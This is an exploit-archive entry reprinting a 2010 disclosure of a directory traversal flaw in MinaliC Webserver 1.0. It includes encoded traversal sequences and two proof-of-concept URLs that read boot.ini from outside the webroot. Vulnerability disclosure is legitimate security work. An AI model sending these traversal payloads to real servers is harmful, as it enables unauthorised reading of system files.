MinaliC Webserver v1.0 Directory Traversal Vulnerability

2010-10-28T00:00:00
ID 1337DAY-ID-14621
Type zdt
Reporter John Leitch
Modified 2010-10-28T00:00:00

Description

Exploit for windows platform in category remote exploits

                                        
                                            ========================================================
MinaliC Webserver v1.0 Directory Traversal Vulnerability
========================================================

------------------------------------------------------------------------
Software................MinaliC Webserver 1.0
Vulnerability...........Directory Traversal
Download................http://sourceforge.net/projects/minalic/
Release Date............10/24/2010
Tested On...............Windows XP
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://www.johnleitch.net/
[email protected]
------------------------------------------------------------------------
 
--Description--
A directory traversal vulnerability in MinaliC Webserver 1.0 can be
exploited to read files outside of the webroot directory.
 
 
--Exploit--
..%2f
..%5c
 
 
--PoC--
http://localhost:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
http://localhost:8080/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini



#  0day.today [2018-03-31]  #